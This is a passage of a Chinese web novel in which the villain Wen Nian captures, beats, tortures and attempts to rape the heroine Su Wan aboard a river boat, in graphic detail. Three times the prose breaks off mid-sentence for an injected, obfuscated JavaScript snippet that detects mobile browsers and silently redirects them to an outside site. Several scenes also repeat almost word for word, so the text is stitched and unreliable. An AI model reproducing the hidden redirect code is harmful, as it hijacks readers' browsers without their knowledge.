阳光透过船舱的缝隙洒在他身上,勾勒出俊美如画的面庞。 两道乌黑剑眉微挑,透着三分冷意;一双多情桃花眼,眼波流转,似含浅浅春水;檀色薄唇微微扬起,笑意温润,偏又透着几分凉薄。 望着这样一张脸孔,苏绾屏住呼吸,按住狂跳的心脏,强迫自己冷静下来。 那个人,竟与温如初一模一样! 若说是戴了一层人皮面具,这副容貌也未免太过逼真了。活了两世,她自认见过许多伪装高手,甚至还戴过老道为她制作的假面。但那张牛皮熬制的假脸,与眼前毫无破绽的面容相比,根本不值一提。 她不得不推翻先前的假设,绝无假面具一说,可世上又不可能有两个长得如此相似的人。纵是双生子,也难免会在神韵或细节上有所不同。 结论显而易见,这人就是温如初。 温念似乎没有察觉暗处的窥探,缓缓趸步迈向杂物间,步调不紧不慢,透着一股猫捉老鼠般的悠然与笃定。 夹道很短,未及两步,他站定杂物间门前,修长的手指微屈,轻轻叩了叩木门。 一言不发。 苏绾一颗心骤然提到嗓子眼,攥紧的手指因用力过猛而微微发颤。因为他不但外形声音酷似温如初,就连身上也带着一股淡淡的檀香味道,隔着薄薄的木门,飘进苏绾的鼻翼。 她强忍住涌上咽喉的呕吐感,深深吸了一口气,尽力压下心中的恐慌,以时枫的语气冷冷地开口:“不认得我了吗?” 温念唇角勾起一抹玩味的笑,语气带着几分戏谑:“我还以为是谁在玩‘藏猫猫’,原来是你啊,榆白兄。” “你方才对远舟所说的那些机要,端地是何居心?为兄待你不薄啊。”苏绾紧声质问。 木门之外的温念,此时已堪破她的虚张声势,却故意不挑明。他像只悠闲的猎兽,静静等待猎物自投罗网。 他装作一副无辜模样,耸了耸肩,“我可什么都没说啊。” “还不肯承认?我可全都听见了。”苏绾学着那个家伙的语气,态度咄咄逼人。 温念回以玩味地挑衅:“既然你全都听见了,又为何还要问我?” “混账东西!”苏绾大声吼道:“还敢跟我装蒜!我亲耳听到,你对本将军图谋不轨,密谋陷害朝廷命官!” 威逼利诱,双管齐下,“我劝你悬崖勒马,趁早放弃邪恶念头。我当一切都没发生过,你我还是好兄弟。” 门外的温念似乎被她的反应逗乐了,薄唇微微勾起,白皙手掌摊开五指,贴放木门之上,好似感受对面的温度。 “我怎么会想害你呢?我疼你爱你还来不及,你说对不对?” “绾绾。” 这一声“绾绾”,犹如一道惊雷在苏绾耳边炸开,瞳孔骤然收缩,指尖狠狠掐入掌心。她绝没想到,短短几句话的交锋,就让她露出破绽。 “什么绾绾?”苏绾竭力掩饰内心的慌乱,咬牙辩驳:“我看你是过于思念未婚妻,白日发梦罢了。” 温念轻笑出声:“哈哈,绾绾真会说笑。”剪了剪桃花眼眸,幽幽开口道:“我可是等了你好久。你都不说出来见我,可真让我伤心难过。” 言毕,五根白皙指头划过门框,眼神凝聚片刻,掌心猛然拍向木门,局促力量瞬间释放。 随着一声闷响,厚实木门竟被拍裂,轰然倒塌,碎木飞溅。光线兀自倾泻而入,霎时照亮了整个杂物间。 光线与阴影交织,映出他那张俊美脸庞,眉眼一笔一划,黑暗分明犹如鬼魅。劲风带着一丝河水的湿气扑面而来,拂动月白衣袍的下摆。四周静谧无声,空气仿佛凝固。 苏绾蜷缩在角落,寒意如潮水般涌上心头,指尖冰冷得僵硬。她的眼神变得锐利,手刀本能地砍向温念的喉咙,脚尖狠厉地踢向他的下身。 这一招她练得炉火纯青,向来能让对手措手不及。 然而,温念反应极快,他微微低头,水蛇般灵活地躲过手刀,又反手一抓,将她纤细的皓腕牢牢钳住,紧接着轻轻侧身,稳稳避开了她的踢击。 短短一瞬间,苏绾的绝招被人破解。 温念手腕稍稍用力,将她整个人拉得向前倾斜,另一只手如闪电般扣住她的削肩,向地面一个空翻,以身体的力量将苏绾压倒,躺在地上动弹不得。 “绾绾,你这是做什么?”声音温柔得像是在哄小孩,但那股渗透骨髓的威压,却让苏绾背脊发凉。 她拼命翻滚踢打,想要挣脱束缚,可她一弱女子,哪有男人那般力气。温念纹丝不动,稳稳压住她的四肢,力道精准而克制,像是猫戏弄着垂死挣扎的鼠。 檀唇贴近她的耳边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765125|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音夹杂着一丝兴奋:“你越挣扎,我越喜欢,真是让我舍不得放手啊。” 苏绾手脚却被控制得死死的,丝毫没有挪动的余地,只能恨恨地瞪着他,满眼愤怒与恨意。 精雕细琢的手指,缓缓落在发髻间。从她柔顺的秀发滑至脸颊,停留片刻,似是在感受她肌肤的温度。他的指尖继续向下,轻按颤抖的眼睑,缓缓掠过鼻梁,最终停在唇畔,用力一刮。 风声呼啸,残破的门框晃动不止,腥风灌入,掀起苏绾的衣襟,也吹乱了她鬓边的碎发。 温念的嗓音低哑而缠绵,夹杂着某种莫名隐忍的颤抖:“绾绾,我真的等你太久了,久到我都快要忘记,你身体的味道了。” 他的身子微微前倾,檀香气息夹杂着寒意扑面而来。他凑近她耳边,声音轻柔,却像毒蛇吐信:“你太不乖了,总是想逃离我。害得我苦苦追逐,这一追,就是两世。” 苏绾的瞳孔,缩成针尖般的大小,她简直不敢相信自己的耳朵。眼前这个温如初,根本不是现世的温如初,而是、而是…… 上一世那个冷酷无情,邪恶至极的温念! “你、你……”苏绾已然说不出话来。 温念嘴角轻轻勾起,“怎么,不问我如何看透你的伎俩吗?” 苏绾紧抿双唇,强忍着内心的震撼不让自己失态,但她指尖的微颤却出卖了她的情绪。 温念似乎极为享受这种局面,他扬了扬下巴,慢条斯理道:“关键在于三个字——‘榆白兄’。我故意这么称呼,就是为了试探你。” 风声在破旧的屋内回荡,仿佛在嘲笑苏绾的愚蠢。她的大脑一片空白,难以置信地看着他。 她并不知道,温如初与时枫早已撕破脸,再不会用这种亲昵的表字称呼对方,而是改口直呼其名。而这一疏漏,却让温念轻而易举地识破了她的身份。 温念的笑容加深,“我的的确确小看了你,你竟然敢在我眼皮子底下耍心机。” 说着,他的手指再度滑向苏绾的唇,这次却不再轻柔,而是强行探入口中,狠狠揪住她的舌头。 苏绾瞪大眼睛,疼得眼泪直流,却无法挣脱。 他眼中的兴奋愈发明显,“你是什么时候学会口技的?可是教坊司的管教嬷嬷教的你,还是我亲自为你挑的师父?嗯?” 他的声音带着几分狠戾,像是在鞭笞她的尊严:“竟敢用我教你的本事反过来对付我,你真是不听话的孩子。” 他掐了许久,终于松手,苏绾大口喘息,剧烈咳嗽,脸色煞白。 然而,温念仍不肯放过她,他俯视着她,语气中透着一丝残忍的玩味:“我还听说,你会骑马?" 他摇了摇头,冷笑一声:“苏家木讷寡言的二小姐,竟然懂得驭马之术,真乃京中第一奇闻!” 他的目光如刀般刮过她的脸颊,“别告诉我你无师自通。当初御马监的太监们,为了教会你骑马,可是费了九牛二虎之力。光是让你坐稳马鞍,就足足花了一个月。” 温念的眼中透出一丝狠意:“其实,从你逃婚开始,我就知道不对劲。只可惜,温如初那个蠢货,他太在意你了,总以为你不会背叛他。” 他啐了一口,目光阴鸷:“温如初太天真了。他怎会想到,你这种人,向来喜欢勾搭男人,骨子里就是个贱种。” 苏绾咬紧牙关,愤怒的泪水无声滑落,眼中燃起了倔强的火焰。 (未完待续) 87. 温念 七月正午,烈日悬空。 河面波光粼粼,炽热的阳光穿过狭窄的舷窗,洒落在狭小的船舱杂货间。空气中混杂着潮湿的木料气味和河水的腥味,令人胸口发闷。船身随着河水微微晃动,压得老旧的木板发出“吱呀”声,仿佛不堪重负。堆积如山的杂物将狭小的空间挤得满满当当,陈旧的麻绳、破损的渔网、甚至还有几袋生满霉斑的稻米,全都散发着令人作呕的腐败气息。 木门在身后破碎的声响尚未完全散去,苏绾躺卧在男人的怀里,手脚被麻绳牢牢束缚,冰冷的汗水顺着鬓角滑落,浸湿了她单薄的衣衫。光影在她脸上交错,衬得她的面容更加苍白如纸。恐惧如毒蛇缠绕住她的脊骨。腥风从破裂的门缝涌入,割裂她暴露在外的肌肤。她的指尖微颤,几乎握不住拳,但内心深处的倔强却让她强迫自己勇敢起来,直视眼前的恶魔。 两世?! 面前的男人嘴里轻轻吐出这两个字,声音低沉缓慢,带着一种漫不经心的戏谑。他逆光屈身坐在堆积的杂物上,上身身形被拉得修长,月白色长袍垂至脚踝,金线暗纹在阳光下泛着细微的光泽。 苏绾的眼神在刹那间涣散,像被拉入无边无际的深渊。一道刺眼的白光在脑海中闪过,她的瞳孔骤缩成针尖般大小,耳畔似有雷霆轰鸣,压得她几乎无法呼吸。前世的画面如潮水般涌现,带着撕裂般的疼痛侵占了她的思绪。 她看见古老的京城被血色笼罩,城墙上的旗帜在浓烟中飘扬,焦灼的气味弥漫天际,烈焰将如山的柴垛烧得噼啪作响。脚下的百姓匍匐在地,面色惶恐,喃喃祷告:“诛杀妖女苏绾,上天佑我华夏!” 在那烈焰与鲜血交织的炼狱中,高大的身影缓缓走来。他戴着狰狞的恶鬼面具,手握火把,举高的手臂如同死神的镰刀。 面具被他揭下,一张俊美无俦的脸露了出来,清冷且熟悉。芝兰玉树般的温润模样,唇角却勾着摄人心魄的笑。 这一幕与眼前的温念重叠,像层层覆盖的外壳终于被剥去,露出内里真实的模样。 苏绾骤然回神,浑身一颤,冷汗瞬间浸透后背。 这个温如初,根本不是现世的温如初,而是、而是…… 上一世那个冷酷无情,邪恶至极的温念! “你、你……”苏绾喉咙干涩,几乎发不出声音,浑身因恐惧而颤抖不止。 温念嘴角勾起一抹弧度,修长的手指缓缓抬起,轻轻拂过她的眉心,低沉的嗓音像丝绒般轻柔,却包裹着锋利的刀刃:“怎么,不认得我了吗?我是你的夫君呀。你是我温念,三书六礼、明媒正娶的妻。” 船舱中沉闷的空气瞬间变得令人窒息,苏绾脑中嗡嗡作响,仿佛有什么东西在她耳边不断重复:“你是温念的妻。” 这短短六个字,如一柄钝刀,狠狠剜进她的心口,将前世的伤疤鲜血淋漓地撕开。她用尽全身力气摇头,却无法否认这冰冷的事实。心里有个声音督促她,大声警醒她,要她千万记住这六个字。 苏绾闭了闭眼,仿佛想要驱散记忆,却越发清晰地想起那些刻骨铭心的过往——她曾为这“夫君”付出血泪,赔上性命。 “你不是温如初。”她咬紧牙关,终于逼出一句。 温念却似乎听到了什么天大的笑话,嘴角笑意愈深:“不愧是我的绾绾,这么快就想明白了。” 他修长的手指抚过她的面颊,缓缓勾起她的下巴,逼迫她直视自己:“你费尽心机扮成乖乖的苏家二小姐,还真让我好一阵期待。” 温念的笑容加深,“我的确小看了你,竟敢在我的眼皮子底下耍心机。” 修长的手指滑向她的朱唇,这一次却不再是轻柔的触碰,而是强行探入口中,指尖勾住她的舌头,力道之大让她眼泪瞬间夺眶而出。 “你是什么时候学会口技的?”温念的声音依旧轻缓,却带着一种冷酷的戏谑,“春月坊可没有这般能人教导你。还是说,你早已忘了那位教坊司的管教嬷嬷,或者我亲自为你挑的师父,嗯?” 指尖勾连着小舌,指甲深深嵌入血肉,疼得苏绾眼泪横流,几乎窒息,挣扎的力气逐渐消失,双眼涣散无力,只能发出含糊不清的呜咽。 “你用我教你的本事对付我?”温念低头,声音陡然转冷,“真是不听话。” 掐了许久,温念乏了,终于松手,将她的身子随手一丢,像是抛弃什么不重要的物什,“咣”得一声砸在地上,溅起一地的尘土。 灰尘在狭小的船舱中飞舞,钻进苏绾的鼻翼,苏绾大口喘息,佝偻着腰肢剧烈咳嗽,脸色变得煞白无血色,只有嘴角一抹血痕,殷红湿润,吸引灰尘纷纷粘附上来,好似一尊被摧残至破败的玩偶。她试图挣扎着坐起,却因虚弱而屡屡失败。 然而,他仍不肯放过她。 温念揣着袖子俯视她,眼底的冷意更浓。他抬脚踢了踢她的肩膀,像是在挑弄一个不听话的孩子:“我听说,你还会骑马?” 他的声音拖长,带着嘲讽的弧度:“苏家木讷寡言的二小姐,居然懂得驭马之术,真是京中一大奇闻!” 他顿了顿,微微低头,语气转为森冷:“别告诉我,你无师自通。当初御马监的太监们,为了教会你骑马,可是费了九牛二虎之力。光是让你坐稳马鞍,就足足花了一个月。” 说罢,他扬起靴子,狠狠踹了她一脚,力道之大,竟让她尖叫着滑出了一段距离,身体撞上船舱的木墙,发出沉闷的“咚”声。脚印清晰地烙在粗布衣裳,对于低级奴仆来说,这种待遇倒也寻常可见,毫无违和感。 这一脚也踢出了温念的汗水,他掏出汗巾拭汗,眼中透出一丝狠意:“其实,从你逃婚开始,我就知道不对劲。可惜温如初那个蠢货,他太在意你了,总以为你不会背叛他。” “他怎会想到,”他随手掷了浸湿的汗巾,声音里透着恶意的冷笑,“你这种人生来就喜欢勾搭男人,骨子里就是个贱种。” 他说她是贱种。 苏绾蜷缩在地,目光低垂,掩住眼中燃起的冷光。 指尖不着痕迹地试探着绑住手腕的布条,汗水浸透的布料微微松垮,粗糙的触感在皮肤上摩擦生疼。 她强迫自己保持平静,努力拖延时间。 “温念……”她低声开口,“你想错了。我逃婚,却不是为了逃离你,而是要逃离温如初。你们并不是同一个人,不是吗?” 温念闻言嗤笑一声:“他是他,我是我。” “如今我知道了,”苏绾轻轻抬眸,泪光在眼底氤氲,努力装出一副柔弱无助的模样,“既然你们不一样,那我自然对你们的态度也不一样。” 温念眼神微微一凝,他缓缓俯下身,手指挑起她的下巴,语气低沉:“还想挑拨离间?嗯?我若信你,岂不是让你一再钻空子?绾绾,我对你,可是学聪明了。” 苏绾的脸微微偏过,避开他的触碰,背后的手腕却已经挣脱了一半,“温念,你这样是抓不住我的心的。何苦强人所难?” “因为你是我的妻啊。”温念直起身,居高临下地看着她,目光冰冷中透着执拗,“从前是,现在是,将来也是。” 苏绾抬起头,眼中忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797964|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然闪过一抹狠意。就在温念微微失神的一瞬间,她的手腕猛地一抽,彻底挣脱布条束缚,趁他不备,一掌直直拍向他的面门! 温念一愣,下意识抬手挡住攻击,却没料到苏绾早有预谋,另一只手握紧了藏在袖中的瓷器碎片,朝着他的腕间狠狠划去。 “嘶——”温念吃痛,后退了一步,眼中闪过一丝暴怒。 苏绾趁此机会,快速用手扯散绑在腿间的布条,一跃翻身而起,动作利落地冲向舱门。 迎面便是狭长的木质夹道,潮湿的空气扑面而来,夹杂着黄河水的腥气和船舱特有的霉腐味道。她的脚步在狭窄的通道里回荡,发出沉闷的“咚咚”声,打破了四周沉寂的黑暗。 她不敢回头,双手死死攥拳,尽量不让累赘的衣料妨碍行动。心跳如鼓,耳边传来的却不止是自己的呼吸声——夹道的另一头隐隐传来人声骚动,还有兵刃相交的清脆声响。 “有人来了!”苏绾心中一沉,明白温念的暗卫已经开始行动。她的脑海飞速运转,强迫自己冷静下来,目光扫过夹道两侧,试图寻找一条可以藏身的路。 可她只是个不谙世事的大小姐,生来锦衣玉食,哪里经历过这样的追逐?仅仅几步,她便已气喘吁吁,胸口如同压了一块大石,酸软的双腿几乎让她跌倒在地。 就在此时,前方通道尽头骤然出现两道黑影——两个黑衣暗卫提刀而立,正冷冷地注视着她。 苏绾的一身杂役装束,被对方误认为是船上的人。 苏绾的心跳漏了一拍,下意识地停住脚步,想要转身逃跑。然而身后的脚步声却愈发逼近,她知道,自己已无路可退。 “站住!”其中一名暗卫低喝一声,拔刀便向她走来。 苏绾的手心早已被冷汗浸透,她强迫自己镇定,目光飞快地扫过四周,突然看见夹道旁堆放着一些麻袋和杂物。她迅速后退几步,故意装作无助地摔倒在地,同时伸手将脚边的一袋物品猛地推向暗卫。 “砰!”麻袋滚落,暗卫猝不及防地被绊了一下,刀锋堪堪偏开,贴着苏绾的脸划过。 “抓住她!”身后传来温念冷冽的声音,带着一股迫人的寒意。 苏绾趁着暗卫闪避的瞬间,踉跄地爬起身,扶着墙壁继续往前跑。她的双腿发软,几乎无法支撑自己,但生存的本能让她不敢停下。每一步都像踩在刀尖上,疼痛与恐惧混杂在一起,仿佛下一刻便会跌入深渊。 通道尽头的门近在眼前,苏绾几乎要冲出去时,身后传来一阵急促的脚步声,紧接着,她的后领被人猛地一把拽住! “够了,苏绾!”温念的声音低沉而冰冷,宛如一道穿透骨髓的寒风。他用力将她扯回身旁,直接将她按在墙上。 苏绾拼命挣扎,双手抓挠着温念的手臂,眼中满是倔强与愤怒:“放开我!温念,你不能这样对我!” “不能?”温念低笑一声,眼中透出森冷的怒意,“苏绾,你未免太天真了些。你以为凭你的身份,就能逃出我的手掌心?” 苏绾的挣扎渐渐无力,双臂被温念牢牢钳住,贴着粗糙的木墙,背后的刺痛让她几乎要落下泪来。可她咬紧牙关,死死不肯让眼泪流下。 温念低头看着她,目光冷冽中透着一丝嘲弄:“你跑得了一时,却逃不了一世。苏绾,你今生都逃不出我的掌心。认命吧。” 船舱内空气沉闷得让人喘不过气,黄河的水声透过夹缝涌入耳中,带着隐隐的压迫感。苏绾的心中冰冷一片,额角的汗水顺着脸颊滑落,但她的眼神却未曾动摇,依旧燃烧着不屈的火焰。 88. 交锋 苏绾再次被温念捉住,形势跟之前已经完全不同了。 这一次,温念不再大意,也不再相信她所说的每一个字。对他来说,眼前的苏绾,已不再是上一世那个柔顺乖巧、任由他摆布的女子,而是满腹心机、善于伪装的危险人物。 她的反应有些出乎他的意料,尤其是那股隐忍的倔强和暗藏的锋芒,无论是言辞还是举动,都透着让人难以捉摸的狡黠与机敏,让他感觉隐隐的不安。 她的一举一动,甚至她刻意掩饰的情绪,都让他察觉到一丝异样。这种异样,让他不禁回想起自己初到这处时空之时,所经历的情感震荡——那种陌生的割裂感,以及灵魂与身体不完全契合的一种游离状态。 他曾因此怀疑过,苏绾和他一样来自另一个时空。然而,在他暗中观察了许久之后,却并未发现任何直接证据。 因为这世上,并没有第二个“苏绾”存在。 温念逐渐意识到,苏绾的“不同”并非因为肉身穿越,而是记忆重生。换句话说,她仍是这个时空的苏绾,身体与灵魂未曾分离,但她却带着上一世的记忆,重回现世。 这一认知,让温念心中生出一股复杂的情绪。他一方面为自己解开了疑惑感到庆幸,另一方面却更加保持警惕——拥有前世记忆的苏绾,无疑是个十分危险的对手。 她知道过去的事情,知道他的一部分秘密,甚至还可能知道他的弱点。更重要的是,她知道如何与他周旋,如何将每一个机会化作反击的筹码。 却不会再上他的当。 这让温念不得不重新评估苏绾的威胁,也让他更加坚定了一点——他绝不能再轻易相信她的任何话语,也绝不能再给她任何逃脱的机会。 “苏绾,”他低声说道:“你不会蠢到以为,我只是个普通人吧?试问世间有哪个凡人,能做到我这地步?” 他的目光变得冷戾,“你最好明白一个道理——我乃天命选中的气运之子。” “跟我斗,就是与天斗。” 此刻,苏绾也在飞速思忖,眼下自己难逃温念的掌控,她必须在这场较量中找到突破点,即使微弱,也要拼尽全力争取,绝不让对方阴谋得逞。 苏绾开始认真思考一个关键问题:上一世的温念,为何会出现在这一世?难道他跟她一样,也是带着记忆重生来到这世界? 然而从眼前的局势来看,他的情况显然与自己截然不同。两个温如初的存在,明确昭示了温念并非单纯的记忆重生。否则,不可能同时出现两个看似独立个体,却存在关联的人物。 不是记忆重生,那又会是什么情况?肉身穿越吗? 这一假设似乎也不成立。她曾亲眼见证温念的死亡场景——烈火焚天、鲜血四溅的末日,时枫手持金枪,一击刺中温念的胸膛,温念血如泉涌,倒地而亡。 苏绾对这一幕的记忆无比深刻,甚至常常在梦中反复出现。可如果他真的死了,那他又如何出现在这一世?难道真的如他口中所言,他已逃过轮回,成为气运之子,得道成仙了吗? 成了仙的温念,拥有更强的力量、更难以对抗的信念,简直堪称恶魔降临。 这个荒谬念头一冒出来,便让苏绾浑身颤抖不寒而栗。她强迫自己冷静下来,不敢继续往更坏的方向深想。 她决定退一步思考,也许事情并没有想象中那么玄乎,不如先从最简单的切口入手。 假定上一世的那一刺,并非真正致命,温念侥幸活了下来,又因某种玄学的契机穿越到这一世。这种可能性虽然依旧难以解释,但相较于“成仙”之说,更加符合正常的逻辑认知。 温念穿越以后,设法与温如初联手。这两人一个心思深沉、手段狠辣;另一个表面温润、暗里腹黑,二人狼狈为奸,一拍即合。 这个推测让苏绾心头一沉。“双剑合璧”,比起之前更具威胁。她必须尽快弄清楚温念的目的,以及温如初在其中的角色,否则有可能酿成大祸。 透过额前微乱的发丝,苏绾悄然打量着温念。船舱左右摇摆,光影跳动间,他的脸颊忽明忽暗,衬托他的心情阴晴不定。 宜攻心为上。 苏绾嘴角勉强扯出一抹笑意,“别和我扯什么天命人命,我不信那一套。记忆的确帮不了我什么,更多的,还要靠我自己的努力。” 她轻轻地吐出一口气,“温念,你有两个人,我呢,也不是孤身一人啊。” 温念听到这话,目光倏地一沉,“你什么意思?” 苏绾慢慢抬起眼,眸中泛起冷意,像是黎明前的一抹寒霜,“我自有我的利剑,专门用来对付你。” “利剑”二字在空气中回荡,仿佛一柄真正的利刃刺入温念的心口。他的瞳孔微缩,脸上的阴郁更深,整个舱室的温度都骤降了几分。 他冷笑一声,眼中燃起几近癫狂的怒火,“你的利剑?可要笑死人了。” 时枫,上一世那个手持金枪、将他一击毙命的男人,是他至死都无法忘却的仇敌。即便跨越了时空的藩篱,他的执念依然鲜活得如同昨日。 “你真以为,靠他就能护住你?” 苏绾看着他那几乎要撕裂一切的眼神,心底泛起寒意,却强自镇定道:“护不护得住,试试不就知道了?温念,你以为自己无懈可击,可这一世,胜负未定!” 温念的胸膛微微起伏,显然被她的话深深地激怒,“小婊子,你是真不怕死。” 话音未落,他揪住苏绾的衣领,一路拖行至杂物间,掐住她的喉咙,以自身重量压在她的身上。 苏绾一瞬间被逼到墙角,喉间的空气仿佛被抽离,她抬手抓住温念的手腕,拼命挣扎。然而,温念的力气如铁钳般无法撼动。 温念冷冷地俯视着她,目光中透着无尽的寒意,“上一世,他救不了你,也杀不得我。这样一个无能的废物,你还指望他能救你?白日做梦!” “我追着你到天涯海角,就为了让你明白,你生是我温念的人,死是我温念的鬼。我生生世世都不会放过你,永远都是你的天!” 苏绾的喉咙疼得似火烧一般,思绪断断续续,但她从对方的只字片语中,抓取到关键信息——上一世他果然没有死透。 看来,什么天命之子之说,纯属胡编滥造,信口开河。 他就是一个凡人。 既是凡人,就有弱点。 她咬着嘴唇恨道:“温念,这一世,你不得好死。” 温念却不给她机会反抗,扬起另一只手掌,啪,啪,啪,狠命甩了她几个耳光,抽得她脸颊肿老高,嘴角流下一缕血痕。 在温家那晚,温如初也曾扬手作势要打她,可最终也没有下得去决心与狠心。 温念跟温如初不一样。 温念是恶魔的化身,戴着人皮面具的鬼,毫无怜香惜玉的怜悯之心,决不惮以最深的恶意,来揣测人心的险恶。 温念越打越兴奋,干脆一把撕开粗布衣裳,露出雪白的鹅颈。他俯下身子,牙齿在细嫩的肌肤上疯狂咬噬,留下一道道血印。 苏绾在无尽的痛楚中,隐隐察觉到周遭环境的变化:船身不知从何时开始,悄悄转换了方向,沿着河岸逆流而上。这说明,时枫那边进展顺利,一切按照计划行事。 温如初,要完蛋了。她的血与泪,总算没有白白浪费。 朱唇轻轻勾起。 温念吐出满嘴的铁锈味,抬首睇见苏绾嘴边的笑意,深深刺激到他,回手又甩了几个嘴巴,掐着她的下颌,怒道:“你笑什么?给脸不要脸,我这就让你见识见识,地狱里的情景!” 他恶狠狠贴上朱唇,舌头搜罗整齐贝齿,贪婪攫取汁液,吻得身下的人儿几近失神,才肯停下来,喘息道:“你有没有很想我啊?一别就是隔世,可曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802039|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆起曾经那个霪荡的自己,嗯?” “你不是很会勾搭男人吗?上一世,勾得秦欢那个窝囊废为你疯狂,甘愿为你送死。” 秦欢?! 苏绾心里一颤,双手下意识狠抠温念手腕上的伤口——被她用碎瓷片割伤了,才止住流血。 温念感到腕间一阵疼痛,却是更加兴奋,口无遮拦,“贱人,还以为秦欢为你采药坠崖而亡,你可别再自作多情了,蠢货。” “秦欢被我处以宫刑,剜去双眼,割掉舌头,铁链锁住四肢,关进山洞挨饿受冻,最后活活被熊吃掉,落得尸骨无存的下场。” “你不是还问我,怎么找不到秦欢的尸首吗?还讲什么,活要见人,死要见尸。” “他被熊罴吃得骨头渣子都不剩,叫我如何替他收尸啊,哈哈哈。”温念放声长笑。 笑声在耳边回荡,像毒蛇的信子,带着冰冷的恶意,一次又一次地刺入她的灵魂深处。苏绾的心,瞬间碎裂。眼神失去了焦点,整个人僵在原地,连呼吸都停滞了。 秦欢,秦欢。 秦欢的面容浮现在脑海里,干净、温柔,总是带着浅浅的笑意,清风朗月,照拂山岗。 他握着她的手,低声对她说:“温夫人,我会护着你,哪怕豁出性命。” 后来,那双温暖的手再也握不到了,熟悉的声音被无尽的沉寂取代,留给她的只有血与泪的记忆。 苏绾双手紧紧抱住头,指甲深深嵌入头皮,额角青筋暴起,冷汗大颗大颗地滚落,浸湿了鬓发,嘴唇颤抖着,发出含混不清的低语:“不……不可能……他还活着……他不会死的……” 她的视线开始模糊,眼前的景象变得扭曲不堪,像一幅被泼了水的画。 她看见秦欢站在雪地里,披着孔雀翎的斗篷,眉眼如昔,温柔地朝她伸出手:“快过来,冻坏了吧。” 苏绾的眼中涌起惊喜的光芒,伸手想要抓住他,却触碰到一片冰冷的虚空。 秦欢的胸口出现了一道深深的血口,鲜血喷涌而出。他的脸开始扭曲,眼中没有责怪,只有痛苦与不舍。 “对不起……我救不了你……”虚弱的声音回荡在她耳边。 “不要!不要啊!”苏绾发出尖锐的嘶喊,猛地摇头,双手挥舞着,像是在驱赶什么看不见的东西。她跌跌撞撞地爬起来,却又狠狠摔倒,膝盖与地板撞击发出闷响,但她像感觉不到疼痛一样,爬起来又跌倒,反复挣扎,嘴里不断重复着:“是我的错……我的错……” 她的世界开始崩塌,秦欢的影子与另一幅画面交替出现。他的尸体横陈在荒野,被野兽啃噬得面目全非。她跪在他身边,哭到嗓子嘶哑,眼睁睁看着他的身体化作尘土,融入无尽的荒原。 苏绾双眼失神,呆呆地看着前方,脸色苍白如纸,泪水从眼角无声滑落,身体轻微地颤抖,像风中飘摇的枯叶。她喃喃低语,声音破碎:“秦大夫……是我害了你……我真没用……” 冷汗顺着额头滑落,嘴唇微微颤抖,牙齿不住地打战,整个人像被寒冬冻结,又像被烈火灼烧。苏绾跪倒在地,双手用力抓住地板,指尖磨得鲜血淋漓。 现实与幻觉交织成一张巨大的网络,将她紧紧裹住,任凭她如何挣扎,也逃不出去。她像是一具失了魂的木偶,身体在绝望与癫狂中摇摆,唯一不变的是眼底那滔天的恨意。 温念上前给了她一脚,靴底在她的身上狠狠碾磨,踩得她一颤一颤,却不知道喊疼。 温念啐了一口,“真是没用的废物。” 他解开裤带,露出凶恶本相,正要趁虚而入。 忽然耳边三声巨响,砰,砰,砰,紧接着,渡船也开始摇晃。 不妙,有人开枪了。 温念不得不整理衣袍,提着苏绾的衣领,将她拖出杂物间,向主厅方向走去,一路上地板滑出一道血痕汗渍。 89. 堕仙 船舷之上,刀光剑影交织,喊杀声震天。 温如初的暗卫数量虽不过二三十人,但个个身手不凡,而颜家渡的船员人数相仿,显然也是有备而来。初时双方短兵相接,都因彼此的突然出手而略显慌乱,未曾料到对方早有防备。 船员们手持铁叉、船桨围成一圈,船老大站在高处,神色沉稳而冷峻。他高声指挥着手下:“小心别让他们逼近舵位!留几个人稳住船身,其他人给我挡住这些狗杂碎!” 一个年长的船夫抹了把额头的汗,低吼一声,挥动船桨砸向逼近的暗卫。桨头带着凌厉的风声劈下,硬生生将暗卫手中的刀挡开,但他还未松口气,就被另一个暗卫一脚踹倒在地。旁边的年轻船员见状,抄起一把长棍猛地砸向暗卫的后脑,暗卫猝不及防倒下。一个暗卫一刀劈开挡路的长棍,迅速转身,长刀划过对方的胸膛,血花瞬间洒在甲板上,蜿蜒流淌入缝隙中。 渡船的晃动更加剧烈,水浪一次次拍击船身,水花飞溅到战场上,和鲜血混在一起,模糊了界限。船老大注意到,河水的流速加快,预示着渡船即将驶入更加险恶的水域。 前方一个巨大的漩涡正悄悄形成,天气慢慢转阴,大片乌云悄无声息汇拢中。 主厅之内,另一场剑拔弩张的对峙正在无声地酝酿,空气中弥漫着看不见的火药味。 温念的声音低沉却清晰,缓缓道:“我在这凡世,还有一个俗名,唤作温念。” 